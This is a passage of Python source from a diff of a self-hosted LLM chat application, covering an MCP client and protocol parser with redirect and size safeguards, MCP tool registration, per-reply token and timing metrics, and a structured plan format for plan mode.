Redirects are followed by hand and every hop is re-checked, for the reason
`services/fetch.py` gives: an administrator can point this at any URL, and a
name resolving to 127.0.0.1 walks past any check that only reads the text.
"""
from __future__ import annotations
import logging
from collections.abc import AsyncIterator
from contextlib import asynccontextmanager, suppress
from dataclasses import dataclass, field
from typing import Any
from urllib.parse import quote, urlparse
import httpx
from lembas.db.models import SECRET_BEARER, SECRET_HEADER, SECRET_QUERY, McpServer
from lembas.services import fetch as fetch_service
from lembas.services.crypto import decrypt
from lembas.services.mcp import protocol
from lembas.services.mcp.protocol import McpError
log = logging.getLogger(__name__)
# A JSON-RPC message is small; anything this large is a server misbehaving, and
# reading it into memory before parsing is the failure to avoid.
MAX_MESSAGE_BYTES = 4 * 1024 * 1024
# tools/list is paged. Both bounds exist because the whole list goes into every
# request as schema.
MAX_PAGES = 10
MAX_TOOLS = 100
MIN_TIMEOUT, MAX_TIMEOUT = 1, 120
MIN_CHARS, MAX_CHARS = 200, 40_000
@dataclass(frozen=True)
class McpSpec:
"""One server, read while the session was open. See `custom_tools.HttpSpec`."""
slug: str
name: str
url: str
headers: dict[str, str] = field(default_factory=dict)
secret: str = ""
secret_placement: str = SECRET_BEARER
secret_name: str = "Authorization"
timeout: int = 30
max_chars: int = 8000
allow_private: bool = False
def spec_from(row: McpServer) -> McpSpec:
return McpSpec(
slug=row.slug,
name=row.name or row.slug,
url=row.url or "",
headers=dict(row.headers_json or {}),
secret=decrypt(row.secret_encrypted),
secret_placement=row.secret_placement,
secret_name=row.secret_name or "Authorization",
timeout=min(max(int(row.timeout or 0), MIN_TIMEOUT), MAX_TIMEOUT),
max_chars=min(max(int(row.max_chars or 0), MIN_CHARS), MAX_CHARS),
allow_private=bool(row.allow_private),
)
def _headers(spec: McpSpec) -> dict[str, str]:
headers = {
"User-Agent": fetch_service.USER_AGENT,
"Content-Type": "application/json",
# Both, because a server may answer either for the same request.
"Accept": "application/json, text/event-stream",
**{str(k): str(v) for k, v in spec.headers.items()},
}
if spec.secret:
if spec.secret_placement == SECRET_BEARER:
headers[spec.secret_name or "Authorization"] = f"Bearer {spec.secret}"
elif spec.secret_placement == SECRET_HEADER:
headers[spec.secret_name or "Authorization"] = spec.secret
return headers
def _endpoint(spec: McpSpec) -> str:
url = fetch_service.check_url(spec.url, allow_private=spec.allow_private)
if spec.secret and spec.secret_placement == SECRET_QUERY:
joiner = "&" if urlparse(url).query else "?"
url = f"{url}{joiner}{quote(spec.secret_name)}={quote(spec.secret, safe='')}"
return url
class Session:
"""One initialised conversation with a server."""
def __init__(self, spec: McpSpec, client: httpx.AsyncClient) -> None:
self.spec = spec
self._client = client
self._url = ""
self._headers = _headers(spec)
self._session_id = ""
self._next_id = 0
self.protocol_version = ""
self.server_info: dict[str, Any] = {}
# --- Transport -----------------------------------------------------------
async def _post(self, message: dict[str, Any]) -> httpx.Response:
current = self._url
headers = dict(self._headers)
if self._session_id:
headers["Mcp-Session-Id"] = self._session_id
if self.protocol_version:
headers["MCP-Protocol-Version"] = self.protocol_version
origin = (urlparse(current).scheme, urlparse(current).netloc)
for _ in range(fetch_service.MAX_REDIRECTS + 1):
try:
response = await self._client.post(current, json=message, headers=headers)
except httpx.RequestError as exc:
raise McpError(f"Could not reach {self.spec.name}: {exc}") from exc
if not response.is_redirect:
return response
location = response.headers.get("location", "")
if not location:
raise McpError(f"{self.spec.name} redirected to nowhere.")
if response.status_code not in (307, 308):
# 301, 302 and 303 turn a POST into a GET, which means nothing
# to a JSON-RPC endpoint. Refused rather than guessed at.
raise McpError(
f"{self.spec.name} answered {response.status_code}, which would "
"turn the request into a GET. Point the URL at the endpoint itself."
)
current = fetch_service.check_url(
str(response.url.join(location)), allow_private=self.spec.allow_private
)
if (urlparse(current).scheme, urlparse(current).netloc) != origin:
headers.pop(self.spec.secret_name or "Authorization", None)
origin = (urlparse(current).scheme, urlparse(current).netloc)
raise McpError(f"{self.spec.name} redirected too many times.")
def _read(self, response: httpx.Response, *, request_id: int) -> dict[str, Any]:
if response.status_code >= 400:
raise McpError(f"{self.spec.name} returned HTTP {response.status_code}.")
return protocol.result_of(
response.content[:MAX_MESSAGE_BYTES],
response.headers.get("content-type", ""),
request_id=request_id,
)
# --- Lifecycle -----------------------------------------------------------
async def open(self) -> None:
self._url = _endpoint(self.spec)
self._next_id += 1
request_id = self._next_id
response = await self._post(
protocol.request(
"initialize",
{
"protocolVersion": protocol.PROTOCOL_VERSION,
"capabilities": {},
"clientInfo": protocol.CLIENT_INFO,
},
request_id=request_id,
)
)
# Captured before the body is read: a server that issues one expects it
# on everything after this, including the initialized notification.
self._session_id = response.headers.get("mcp-session-id", "")
result = self._read(response, request_id=request_id)
self.protocol_version = str(result.get("protocolVersion") or protocol.PROTOCOL_VERSION)
info = result.get("serverInfo")
self.server_info = info if isinstance(info, dict) else {}
if self.protocol_version != protocol.PROTOCOL_VERSION:
log.info(
"%s speaks MCP %s, we asked for %s",
self.spec.name,
self.protocol_version,
protocol.PROTOCOL_VERSION,
)
await self._post(protocol.notification("notifications/initialized"))
async def call(self, method: str, params: dict[str, Any] | None = None) -> dict[str, Any]:
"""One request, re-initialising once if the session has expired."""
self._next_id += 1
request_id = self._next_id
response = await self._post(protocol.request(method, params, request_id=request_id))
if response.status_code == 404 and self._session_id:
# The server dropped the session. One retry, then it is a failure
# like any other -- a loop here would be a loop against a server
# that has decided to forget us.
log.info("%s expired its session; re-initialising", self.spec.name)
self._session_id = ""
await self.open()
self._next_id += 1
request_id = self._next_id
response = await self._post(protocol.request(method, params, request_id=request_id))
return self._read(response, request_id=request_id)
async def close(self) -> None:
"""Best effort. A server with nothing to clean up answers 405."""
if not self._session_id:
return
headers = {**self._headers, "Mcp-Session-Id": self._session_id}
if self.protocol_version:
headers["MCP-Protocol-Version"] = self.protocol_version
with suppress(httpx.RequestError, McpError):
await self._client.delete(self._url, headers=headers)
@asynccontextmanager
async def session_for(spec: McpSpec) -> AsyncIterator[Session]:
"""An initialised session, closed afterwards whatever happened."""
client = httpx.AsyncClient(timeout=spec.timeout, follow_redirects=False)
session = Session(spec, client)
try:
await session.open()
yield session
finally:
await session.close()
await client.aclose()
async def list_tools(spec: McpSpec) -> tuple[list[dict[str, Any]], dict[str, Any], str]:
"""Every tool a server advertises, plus what it said about itself.
Returns (tools, serverInfo, protocolVersion). Bounded at MAX_TOOLS: the list
is sent as schema on every request, so a server offering two hundred is a
server that would fill the window before anything was asked.
"""
tools: list[dict[str, Any]] = []
async with session_for(spec) as session:
cursor = ""
for _ in range(MAX_PAGES):
result = await session.call("tools/list", {"cursor": cursor} if cursor else {})
for entry in result.get("tools") or []:
cleaned = protocol.clean_tool(entry)
if cleaned is None:
log.info("%s advertised an unusable tool entry", spec.name)
elif len(tools) < MAX_TOOLS:
tools.append(cleaned)
cursor = str(result.get("nextCursor") or "")
if not cursor or len(tools) >= MAX_TOOLS:
break
return tools, session.server_info, session.protocol_version
async def call_tool(spec: McpSpec, name: str, arguments: dict[str, Any]) -> tuple[str, bool]:
"""Run one tool. Returns (text, is_error)."""
async with session_for(spec) as session:
result = await session.call("tools/call", {"name": name, "arguments": arguments})
return protocol.content_to_text(result), bool(result.get("isError"))
__all__ = ["McpError", "McpSpec", "Session", "call_tool", "list_tools", "spec_from"]
+195
View File
@@ -0,0 +1,195 @@
"""The MCP wire format: JSON-RPC 2.0, and what comes back from a tool call.
Written out rather than taken from the reference SDK. The client is a few
hundred lines of framing, and the SDK's transport does its own connecting --
which would mean the one thing that must not be bypassed, `fetch.check_url` on
every hop, being bypassed. Owning the transport is the point; owning the framing
beside it is the small part.
A response arrives either as one JSON object or as an event stream carrying
several messages, and a server may choose either for the same request. Both are
read here so `client.py` does not have to care which it got.
"""
from __future__ import annotations
import json
from contextlib import suppress
from typing import Any
from lembas import __version__
# What we tell a server we speak. A server answering an older version is not
# refused: several in the wild still answer 2024-11-05 and work perfectly.
PROTOCOL_VERSION = "2025-06-18"
CLIENT_INFO = {"name": "LLeMbas", "version": __version__}
# A tool's metadata is sent to the model as instructions, so it is bounded here
# rather than trusted. A server advertising a 40 KB description would spend the
# context window before the conversation started.
MAX_DESCRIPTION = 1000
MAX_SCHEMA_BYTES = 8192
MAX_NAME = 64
# Content that is not text is described rather than forwarded. A tool turn is a
# string, images only reach models marked as having vision, and base64 in a tool
# result is the fastest way to fill a window with nothing.
UNSUPPORTED = "[{kind}: {detail} — not shown to the model]"
class McpError(Exception):
"""A failed exchange, with a message fit to show an administrator.
Same contract as `LLMError`, `SearchError` and `FetchError`: the message is
the whole error, and is safe to render.
"""
def __init__(self, message: str) -> None:
super().__init__(message)
self.message = message
def request(method: str, params: dict[str, Any] | None, *, request_id: int) -> dict[str, Any]:
message: dict[str, Any] = {"jsonrpc": "2.0", "id": request_id, "method": method}
if params is not None:
message["params"] = params
return message
def notification(method: str, params: dict[str, Any] | None = None) -> dict[str, Any]:
message: dict[str, Any] = {"jsonrpc": "2.0", "method": method}
if params is not None:
message["params"] = params
return message
def _messages(body: bytes, content_type: str) -> list[dict[str, Any]]:
"""Every JSON-RPC message in a response body, whichever framing was used."""
text = body.decode("utf-8", "replace").strip()
if not text:
return []
if "text/event-stream" not in content_type.lower():
try:
document = json.loads(text)
except json.JSONDecodeError as exc:
raise McpError(f"That server did not answer with JSON: {exc}") from exc
return document if isinstance(document, list) else [document]
# Frames are `data:` lines gathered until a blank line -- the same framing
# services/sse.py writes. Read here rather than shared, because that module
# is a writer and this is a reader with a size cap.
out: list[dict[str, Any]] = []
data: list[str] = []
for line in text.splitlines() + [""]:
if line.startswith("data:"):
data.append(line[5:].lstrip())
elif not line.strip() and data:
# A frame that is not JSON is a comment or a keep-alive, not a
# message; the stream carries both.
with suppress(json.JSONDecodeError):
out.append(json.loads("\n".join(data)))
data = []
return out
def result_of(body: bytes, content_type: str, *, request_id: int) -> dict[str, Any]:
"""The result for one request, out of whatever the server sent back.
Raises `McpError` on a JSON-RPC error member, because that is a failure the
administrator needs the words of -- "Unknown tool" and "invalid params" are
the two that actually happen.
"""
for message in _messages(body, content_type):
if not isinstance(message, dict) or message.get("id") != request_id:
continue
if "error" in message:
error = message["error"] or {}
code = error.get("code", "")
text = str(error.get("message") or "The server reported an error.")
raise McpError(f"{text}{f' (code {code})' if code != '' else ''}")
result = message.get("result")
return result if isinstance(result, dict) else {}
raise McpError("That server did not answer the request.")
# --- Tool metadata -----------------------------------------------------------
def clean_tool(entry: Any) -> dict[str, Any] | None:
"""One advertised tool, bounded. None if there is nothing usable here."""
if not isinstance(entry, dict):
return None
name = str(entry.get("name") or "").strip()
if not name or len(name) > MAX_NAME:
return None
schema = entry.get("inputSchema")
if not isinstance(schema, dict) or schema.get("type") != "object":
schema = {"type": "object", "properties": {}}
elif len(json.dumps(schema)) > MAX_SCHEMA_BYTES:
# Kept callable rather than dropped: a model can still be told the tool
# exists, and an argument it guesses is no worse than not offering it.
schema = {"type": "object", "properties": {}}
return {
"name": name,
"title": str(entry.get("title") or "")[:MAX_NAME],
"description": str(entry.get("description") or "")[:MAX_DESCRIPTION],
"schema": schema,
}
# --- Tool results ------------------------------------------------------------
def _block_text(block: Any) -> str:
if not isinstance(block, dict):
return ""
kind = str(block.get("type") or "")
if kind == "text":
return str(block.get("text") or "")
if kind in ("image", "audio"):
size = len(str(block.get("data") or ""))
detail = f"{block.get('mimeType') or 'unknown type'}, about {size * 3 // 4} bytes"
return UNSUPPORTED.format(kind=kind, detail=detail)
if kind == "resource":
resource = block.get("resource")
if not isinstance(resource, dict):
return ""
uri = str(resource.get("uri") or "")
if isinstance(resource.get("text"), str):
return f"{uri}\n{resource['text']}" if uri else str(resource["text"])
detail = f"{uri or 'unnamed'}, {resource.get('mimeType') or 'unknown type'}"
return UNSUPPORTED.format(kind="resource", detail=detail)
if kind == "resource_link":
return f"{block.get('name') or 'resource'} ({block.get('uri') or ''})".strip()
# An addition to the protocol degrades to a note rather than to silence:
# a model told nothing came back will say nothing came back.
return UNSUPPORTED.format(kind="content", detail=kind or "no type")
def content_to_text(result: dict[str, Any]) -> str:
"""A `tools/call` result as the flat text a tool turn carries."""
blocks = result.get("content")
parts = [text for block in (blocks or []) if (text := _block_text(block).strip())]
if not parts and isinstance(result.get("structuredContent"), dict | list):
return json.dumps(result["structuredContent"], indent=2, ensure_ascii=False)
return "\n\n".join(parts)
__all__ = [
"CLIENT_INFO",
"PROTOCOL_VERSION",
"McpError",
"clean_tool",
"content_to_text",
"notification",
"request",
"result_of",
]
+190
View File
@@ -0,0 +1,190 @@
"""Turning MCP servers into tools a chat can be offered.
Two names per tool. The server has its own, which is what `tools/call` must be
given; we have an *offered* name, which is what goes in the schema the endpoint
sees. They differ because two servers both exposing `search` would collide, a
server exposing `notes_delete` would shadow a built-in, and endpoints accept a
narrower character set than MCP does. The rename never leaves this module: the
runner closes over the server's own name.
The advertised list is cached on the row and refreshed by a button, the same
shape as discovering a connection's models. A server is contacted when an
administrator asks, not when a chat starts -- a slow server must not be able to
delay every reply.
"""
from __future__ import annotations
import logging
import re
from datetime import UTC, datetime
from typing import Any
from sqlalchemy.orm import Session as DBSession
from lembas.db.models import McpServer, User
from lembas.services import tool_access
from lembas.services.fetch import FetchError
from lembas.services.mcp import client
from lembas.services.mcp.protocol import McpError
from lembas.services.tools import FAMILY_MCP, RISK_WRITE, ToolContext, ToolDef, ToolOutcome
log = logging.getLogger(__name__)
# What an endpoint will accept as a function name.
FUNCTION_NAME = re.compile(r"^[a-zA-Z0-9_-]{1,64}$")
MAX_NAME = 64
# How much of a reply is kept on the message row for the transcript.
MAX_EVENT_CHARS = 2000
MAX_SUMMARY_CHARS = 200
def offer_name(server_slug: str, tool_name: str, *, taken: set[str]) -> str:
"""A name the endpoint will accept, unique across everything offered.
Truncation can collide where the full names would not, so a numeric suffix
is appended until it does not. Deterministic given a stable iteration order,
which is why rows are walked in (position, slug) order everywhere.
"""
combined = f"{server_slug}_{tool_name}".lower()
cleaned = re.sub(r"_+", "_", re.sub(r"[^a-z0-9_-]", "_", combined)).strip("_")
candidate = (cleaned or "tool")[:MAX_NAME]
suffix = 2
while candidate in taken:
tail = f"_{suffix}"
candidate = f"{(cleaned or 'tool')[: MAX_NAME - len(tail)]}{tail}"
suffix += 1
taken.add(candidate)
return candidate
def _summary(arguments: dict[str, Any]) -> str:
parts = [f"{name}={value!r}" for name, value in arguments.items()]
text = ", ".join(parts)
return text[:MAX_SUMMARY_CHARS]
def _runner(spec: client.McpSpec, tool_name: str, offered: str):
async def run(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
event = {
"name": offered,
"kind": "mcp",
"label": f"{spec.name} · {tool_name}",
"query": _summary(args),
"detail": spec.name,
"results": [],
}
try:
text, failed = await client.call_tool(spec, tool_name, args)
except (McpError, FetchError) as exc:
message = exc.message
log.info("mcp %s/%s failed: %s", spec.slug, tool_name, message)
return ToolOutcome(
f"The {tool_name} tool on {spec.name} failed: {message}",
{**event, "status": "error", "error": message[:200]},
)
text = text.strip()[: spec.max_chars]
if failed:
return ToolOutcome(
f"The tool reported an error:\n{text}" if text else "The tool reported an error.",
{**event, "status": "error", "error": text[:200] or "The tool reported an error."},
)
if not text:
return ToolOutcome(
f"{tool_name} returned nothing.", {**event, "status": "ok", "text": ""}
)
return ToolOutcome(text, {**event, "status": "ok", "text": text[:MAX_EVENT_CHARS]})
return run
def _offered_tools(server: McpServer) -> list[dict[str, Any]]:
"""The cached entries this server is currently willing to offer."""
overrides = server.tool_overrides_json or {}
# Absent means on, the rule the model capability flags follow: a tool that
# appeared in the last refresh should work rather than silently do nothing.
return [
entry
for entry in (server.tools_json or [])
if isinstance(entry, dict) and overrides.get(entry.get("name"), True)
]
def tool_defs(
db: DBSession, user: User | None, *, everything: bool = False, taken: set[str] | None = None
) -> list[ToolDef]:
"""One `ToolDef` per offerable tool across every visible server."""
claimed = taken if taken is not None else set()
out: list[ToolDef] = []
for server in tool_access.visible_mcp_servers(db, user, everything=everything):
spec = client.spec_from(server)
for entry in _offered_tools(server):
name = str(entry.get("name") or "")
offered = str(entry.get("offer_name") or "") or offer_name(
server.slug, name, taken=claimed
)
claimed.add(offered)
if not FUNCTION_NAME.match(offered):
continue
out.append(
ToolDef(
name=offered,
family=f"{FAMILY_MCP}:{server.slug}",
description=entry.get("description") or f"{name}, from {server.name}.",
parameters=entry.get("schema") or {"type": "object", "properties": {}},
run=_runner(spec, name, offered),
# Conservative, because nothing in tools/list says. A server
# calling something `search` may still be filing a ticket
# with it, and the cost of being wrong this way is a
# question nobody needed to answer.
risk=RISK_WRITE,
)
)
return out
async def refresh(db: DBSession, server: McpServer) -> tuple[int, str]:
"""Contact a server and cache what it advertises. Returns (count, error).
Shaped like `api/admin.py:_refresh_models`, including writing `last_error`
and `last_checked_at` on both paths so the row says what happened rather
than only whether it worked.
"""
spec = client.spec_from(server)
try:
advertised, info, version = await client.list_tools(spec)
except (McpError, FetchError) as exc:
server.last_error = exc.message
server.last_checked_at = datetime.now(UTC)
db.commit()
return 0, exc.message
taken: set[str] = set()
for entry in advertised:
entry["offer_name"] = offer_name(server.slug, entry["name"], taken=taken)
# Choices about tools that are still advertised survive; ones about tools
# that have gone are dropped rather than left to accumulate.
names = {entry["name"] for entry in advertised}
server.tool_overrides_json = {
name: on for name, on in (server.tool_overrides_json or {}).items() if name in names
}
server.tools_json = advertised
server.server_info = info
server.protocol_version = version
server.last_error = ""
server.last_checked_at = datetime.now(UTC)
db.commit()
log.info("mcp %s advertised %d tool(s)", server.slug, len(advertised))
return len(advertised), ""
__all__ = ["offer_name", "refresh", "tool_defs"]
+136
View File
@@ -0,0 +1,136 @@
"""What a reply cost, how fast it arrived, and how full the window is.
One shape, built either from a generation still being written or from the row
it left behind. That matters more than it looks: the finished bubble is
re-rendered from the database the instant the stream ends, so if the live
numbers and the stored ones came from different code they would visibly jump at
exactly the moment the reader is looking at them. Here the only thing that
changes when a reply finishes is that an estimate may become exact.
Nothing here is authoritative about tokens. `estimated` says which kind of
number this is, and every surface that shows one has to say so too.
"""
from __future__ import annotations
from dataclasses import dataclass
from typing import Any
from lembas.services import tokens
# Where the context bar changes colour. Not thresholds anyone tunes: they mark
# "worth noticing" and "about to be a problem", and the second is deliberately
# below the default compaction threshold so the warning arrives first.
WARNING_AT = 80
DANGER_AT = 95
@dataclass(frozen=True)
class Metrics:
"""Token counts and timing for one reply."""
prompt_tokens: int = 0
completion_tokens: int = 0
total_tokens: int = 0
# What the window holds after this turn: the last round's prompt plus its
# completion. Distinct from prompt+completion summed over tool rounds, which
# is what the reply *cost* -- a three-round reply pays for its prompt three
# times but only ever occupies the window once.
context_tokens: int = 0
context_limit: int = 0
estimated: bool = False
elapsed_ms: int = 0
rounds: int = 1
@property
def percent(self) -> int:
"""How full the window is, or 0 when nobody has said how big it is."""
if self.context_limit <= 0 or self.context_tokens <= 0:
return 0
return min(100, round(self.context_tokens * 100 / self.context_limit))
@property
def tokens_per_second(self) -> float:
if self.elapsed_ms <= 0 or self.completion_tokens <= 0:
return 0.0
return self.completion_tokens / (self.elapsed_ms / 1000)
@property
def pressure(self) -> str:
""""", "warning" or "danger" -- the class the context chip takes."""
percent = self.percent
if not percent:
return ""
if percent >= DANGER_AT:
return "danger"
if percent >= WARNING_AT:
return "warning"
return ""
@property
def has_anything(self) -> bool:
return bool(self.total_tokens or self.completion_tokens or self.elapsed_ms)
def from_generation(generation: Any) -> Metrics:
"""Metrics for a reply still being written.
Usage arrives in a single chunk at the very end, so mid-stream there is
nothing to report and everything is estimated. The counts stop being
estimates the moment that chunk lands, which is usually a beat before the
bubble is replaced.
"""
import time
completion = generation.completion_tokens or tokens.estimate(
generation.text + generation.thinking
)
prompt = generation.prompt_tokens or generation.prompt_estimate
elapsed = generation.elapsed_ms or (
int((time.monotonic() - generation.started_at) * 1000) if generation.started_at else 0
)
return Metrics(
prompt_tokens=prompt,
completion_tokens=completion,
total_tokens=prompt + completion,
context_tokens=generation.context_tokens or (prompt + completion),
context_limit=generation.context_limit,
estimated=not (generation.prompt_tokens and generation.completion_tokens),
elapsed_ms=elapsed,
rounds=max(1, generation.rounds),
)
def from_message(usage_json: dict[str, Any] | None) -> Metrics:
"""Metrics for a finished reply, read back off the row."""
stored = usage_json or {}
def _int(key: str) -> int:
value = stored.get(key)
return int(value) if isinstance(value, (int, float)) and not isinstance(value, bool) else 0
return Metrics(
prompt_tokens=_int("prompt_tokens"),
completion_tokens=_int("completion_tokens"),
total_tokens=_int("total_tokens"),
context_tokens=_int("context_tokens"),
context_limit=_int("context_limit"),
estimated=bool(stored.get("estimated")),
elapsed_ms=_int("elapsed_ms"),
rounds=max(1, _int("rounds")),
)
def to_json(metrics: Metrics) -> dict[str, Any]:
"""The shape stored in Message.usage_json."""
return {
"prompt_tokens": metrics.prompt_tokens,
"completion_tokens": metrics.completion_tokens,
"total_tokens": metrics.total_tokens,
"context_tokens": metrics.context_tokens,
"context_limit": metrics.context_limit,
"estimated": metrics.estimated,
"elapsed_ms": metrics.elapsed_ms,
"rounds": metrics.rounds,
}
+342
View File
@@ -0,0 +1,342 @@
"""A plan, as a structure rather than a list of sentences.
Plan mode used to produce `{title, steps}` and then forget it. That is enough to
propose something and useless for carrying it out: there is nowhere to record
what was found, nothing to tick off, and worst the plan was not in the
prompt at all once execution started, so a model could not have kept it current
if it had wanted to.
Version 2 is findings, objectives and phases of tasks. Three rules hold it up.
**`steps` is always written.** Flattened from every phase's tasks, in order. It
is what `execute_plan` reads, so nothing downstream had to learn version 2 and
every row already on disk keeps working.
**`normalise` is the only reader.** A `{title, steps}` row becomes one phase
called "Plan" whose tasks are those steps, so the card, the harness and the
Execute button have exactly one shape to deal with rather than two.
**Ids are generated here and never chosen by the model.** They appear in
`render_block` so the model can quote one back to `plan_update`; letting it name
them would mean validating names it made up, and a collision would silently
re-tick a different task.
"""
from __future__ import annotations
from typing import Any
VERSION = 2
# Bounds. A plan is read by a person and injected into every request while the
# work is going on, so "as many as you like" costs the window forever and buries
# the four items that mattered.
MAX_PHASES = 8
MAX_TASKS = 12
MAX_OBJECTIVES = 8
MAX_FINDINGS = 20
MAX_TEXT = 300
MAX_TITLE = 120
# The ceiling on the block put in front of the model each turn.
MAX_PLAN_CHARS = 2000
TASK_STATUSES = ("todo", "doing", "done", "dropped")
OBJECTIVE_STATUSES = ("open", "done", "dropped")
PHASE_STATUSES = ("pending", "active", "done")
_DONE = {"done", "dropped"}
def _text(value: Any, limit: int = MAX_TEXT) -> str:
return " ".join(str(value or "").split())[:limit]
def _status(value: Any, allowed: tuple[str, ...], fallback: str) -> str:
wanted = str(value or "").strip().lower()
return wanted if wanted in allowed else fallback
def _listed(value: Any) -> list[Any]:
"""A list, from a list or from the one thing a model sent instead.
The same tolerance `generation._questions_in` shows, for the same reason: a
small model sends something close to the schema rather than the schema, and
refusing costs a whole round trip to say so.
"""
if value is None:
return []
if isinstance(value, list):
return value
return [value]
# --- Reading -------------------------------------------------------------------
def normalise(raw: dict[str, Any] | None) -> dict[str, Any]:
"""Any stored plan, as version 2.
A `{title, steps}` row -- which is every row that exists today -- becomes one
phase called "Plan" whose tasks are the steps. Everything downstream then has
one shape, and the version-1 branch lives here and nowhere else.
"""
raw = raw or {}
if not raw:
return {}
title = _text(raw.get("title"), MAX_TITLE) or "A plan"
findings = [
{"id": f"f{n}", "text": _text(item.get("text") if isinstance(item, dict) else item)}
for n, item in enumerate(_listed(raw.get("findings"))[:MAX_FINDINGS], start=1)
]
findings = [f for f in findings if f["text"]]
objectives = []
for n, item in enumerate(_listed(raw.get("objectives"))[:MAX_OBJECTIVES], start=1):
source = item if isinstance(item, dict) else {"text": item}
text = _text(source.get("text"))
if text:
objectives.append(
{
"id": f"o{n}",
"text": text,
"status": _status(source.get("status"), OBJECTIVE_STATUSES, "open"),
}
)
phases = _phases(raw)
if not phases:
# Version 1, or a model that sent only steps. One phase, so the rest of
# the codebase never sees the older shape.
tasks = [_text(step) for step in _listed(raw.get("steps"))]
phases = [
{
"id": "p1",
"title": "Plan",
"status": "pending",
"tasks": [
{"id": f"t{n}", "text": text, "status": "todo", "note": ""}
for n, text in enumerate([t for t in tasks if t][:MAX_TASKS], start=1)
],
}
]
plan = {
"version": VERSION,
"title": title,
"summary": _text(raw.get("summary")),
"findings": findings,
"objectives": objectives,
"phases": phases,
}
plan["steps"] = flatten(plan)
return plan
def _phases(raw: dict[str, Any]) -> list[dict[str, Any]]:
out: list[dict[str, Any]] = []
counter = 0
for n, item in enumerate(_listed(raw.get("phases"))[:MAX_PHASES], start=1):
source = item if isinstance(item, dict) else {"title": item}
tasks = []
for entry in _listed(source.get("tasks"))[:MAX_TASKS]:
got = entry if isinstance(entry, dict) else {"text": entry}
text = _text(got.get("text"))
if not text:
continue
counter += 1
tasks.append(
{
"id": f"t{counter}",
"text": text,
"status": _status(got.get("status"), TASK_STATUSES, "todo"),
"note": _text(got.get("note")),
}
)
title = _text(source.get("title"), MAX_TITLE)
if not title and not tasks:
continue
out.append(
{
"id": f"p{n}",
"title": title or f"Phase {n}",
"status": _status(source.get("status"), PHASE_STATUSES, "pending"),
"tasks": tasks,
}
)
return out
def flatten(plan: dict[str, Any]) -> list[str]:
"""Every task, in order, as plain sentences.
This is `steps`, and it is why version 2 needed no migration: `execute_plan`
reads it and does not know the rest exists.
"""
return [task["text"] for phase in plan.get("phases", []) for task in phase.get("tasks", [])]
# --- Writing --------------------------------------------------------------------
def build(**raw: Any) -> dict[str, Any]:
"""A plan from what `plan_submit` was given."""
return normalise(raw)
def merge(plan: dict[str, Any], patch: dict[str, Any]) -> tuple[dict[str, Any], list[str]]:
"""The plan with one update applied, and what changed, in words.
Returns the words as well as the plan because the model gets them back as
the tool's result -- "t3 is done, t4 is now doing" is what tells it the
bookkeeping landed, and a silent success reads as a call that did nothing.
"""
plan = normalise(plan)
if not plan:
return {}, []
changed: list[str] = []
tasks = {task["id"]: task for phase in plan["phases"] for task in phase["tasks"]}
objectives = {item["id"]: item for item in plan["objectives"]}
for entry in _listed(patch.get("task_status")):
got = entry if isinstance(entry, dict) else {"id": entry}
task = tasks.get(_text(got.get("id"), 32))
if task is None:
continue
task["status"] = _status(got.get("status"), TASK_STATUSES, task["status"])
if got.get("note") is not None:
task["note"] = _text(got.get("note"))
changed.append(f"{task['id']} is {task['status']}")
for entry in _listed(patch.get("objective_status")):
got = entry if isinstance(entry, dict) else {"id": entry}
objective = objectives.get(_text(got.get("id"), 32))
if objective is None:
continue
objective["status"] = _status(
got.get("status"), OBJECTIVE_STATUSES, objective["status"]
)
changed.append(f"{objective['id']} is {objective['status']}")
for raw in _listed(patch.get("findings")):
text = _text(raw.get("text") if isinstance(raw, dict) else raw)
if not text or len(plan["findings"]) >= MAX_FINDINGS:
continue
plan["findings"].append({"id": f"f{len(plan['findings']) + 1}", "text": text})
changed.append("a finding was recorded")
counter = max((int(t["id"][1:]) for t in tasks.values() if t["id"][1:].isdigit()), default=0)
for entry in _listed(patch.get("add_tasks")):
got = entry if isinstance(entry, dict) else {"text": entry}
text = _text(got.get("text"))
if not text:
continue
phase = _phase_for(plan, _text(got.get("phase"), 32))
if phase is None or len(phase["tasks"]) >= MAX_TASKS:
continue
counter += 1
phase["tasks"].append(
{"id": f"t{counter}", "text": text, "status": "todo", "note": ""}
)
changed.append(f"t{counter} was added")
if patch.get("summary") is not None:
plan["summary"] = _text(patch.get("summary"))
_restate_phases(plan)
plan["steps"] = flatten(plan)
return plan, changed
def _phase_for(plan: dict[str, Any], wanted: str) -> dict[str, Any] | None:
"""The named phase, or the one work is currently in."""
for phase in plan["phases"]:
if phase["id"] == wanted:
return phase
for phase in plan["phases"]:
if phase["status"] == "active":
return phase
for phase in plan["phases"]:
if any(task["status"] not in _DONE for task in phase["tasks"]):
return phase
return plan["phases"][-1] if plan["phases"] else None
def _restate_phases(plan: dict[str, Any]) -> None:
"""A phase's status follows from its tasks, so it cannot disagree with them.
Asking the model to keep both current would mean a plan that says "phase 1:
done" over four tasks marked todo, which is worse than either alone.
"""
started = False
for phase in plan["phases"]:
if not phase["tasks"]:
continue
if all(task["status"] in _DONE for task in phase["tasks"]):
phase["status"] = "done"
continue
# The first phase with anything left in it is the one being worked on;
# everything after it is still to come. There is exactly one active
# phase by construction, which is what stops the render showing three.
phase["status"] = "pending" if started else "active"
started = True
# --- For the prompt ---------------------------------------------------------------
def render_block(plan: dict[str, Any] | None, budget: int = MAX_PLAN_CHARS) -> str:
"""The plan as the model sees it each turn, within a budget.
Budgeted rather than dumped, exactly like the project listing: a finished
phase collapses to one line, the phase being worked on is shown in full, and
the ids are visible because they are what `plan_update` takes.
"""
plan = normalise(plan)
if not plan or budget <= 0:
return ""
lines = [f"**{plan['title']}**"]
if plan["summary"]:
lines.append(plan["summary"])
if plan["objectives"]:
lines.append("")
lines.append("What it is for:")
for item in plan["objectives"]:
mark = "x" if item["status"] == "done" else "-" if item["status"] == "dropped" else " "
lines.append(f"- [{mark}] {item['id']} {item['text']}")
if plan["findings"]:
lines.append("")
lines.append("What was found:")
for item in plan["findings"][-MAX_FINDINGS:]:
lines.append(f"- {item['text']}")
lines.append("")
for phase in plan["phases"]:
done = sum(1 for task in phase["tasks"] if task["status"] in _DONE)
if phase["status"] == "done" and phase["tasks"]:
lines.append(f"{phase['title']} ({len(phase['tasks'])} tasks, done)")
continue
lines.append(f"{phase['title']} ({done}/{len(phase['tasks'])})")
for task in phase["tasks"]:
mark = {"done": "x", "doing": ">", "dropped": "-"}.get(task["status"], " ")
note = f"{task['note']}" if task["note"] else ""
lines.append(f" [{mark}] {task['id']} {task['text']}{note}")
text = "\n".join(lines).strip()
if len(text) <= budget:
return text
cut = text[:budget]
at = cut.rfind("\n")
